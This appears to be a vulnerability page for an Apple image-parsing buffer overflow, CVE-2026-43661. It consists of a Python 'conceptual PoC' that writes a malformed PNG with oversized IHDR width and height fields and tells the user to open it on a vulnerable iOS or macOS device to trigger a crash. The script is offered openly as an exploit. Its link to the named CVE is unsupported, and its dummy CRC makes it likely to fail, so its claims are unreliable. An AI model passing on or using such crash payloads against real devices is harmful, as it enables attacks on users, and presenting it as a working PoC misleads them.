CVE-2026-43661 Apple多产品缓冲区溢出漏洞

import struct # Conceptual PoC for Image Processing Buffer Overflow # Creates a malformed image file with an oversized header field # intended to trigger a memory corruption in the image parser. def create_malicious_image(filename): # Simulating a generic image header format (e.g., PNG-like structure) # Magic bytes for image identification header = b'\x89PNG\r\n\x1a\n' # Construct a chunk header chunk_type = b'IHDR' # Malicious payload: Extremely large width/height values # This attempts to overflow the buffer allocated for image metadata malicious_width = struct.pack('>I', 0xDEADBEEF) malicious_height = struct.pack('>I', 0xCAFEBABE) # Remaining metadata placeholders bit_depth = b'\x08' color_type = b'\x02' compress = b'\x00' filter_method = b'\x00' interlace = b'\x00' # Calculate CRC (dummy value for PoC) crc = b'\x00\x00\x00\x00' # Assemble the chunk chunk_data = malicious_width + malicious_height + bit_depth + color_type + compress + filter_method + interlace chunk_len = struct.pack('>I', len(chunk_data)) ihdr_chunk = chunk_len + chunk_type + chunk_data + crc # Write to file with open(filename, 'wb') as f: f.write(header + ihdr_chunk) print(f"[+] Malicious image file generated: {filename}") print("[+] Attempt to open this file on a vulnerable iOS/macOS version to trigger the crash.") if __name__ == "__main__": create_malicious_image("cve_2026_43661_exploit.png")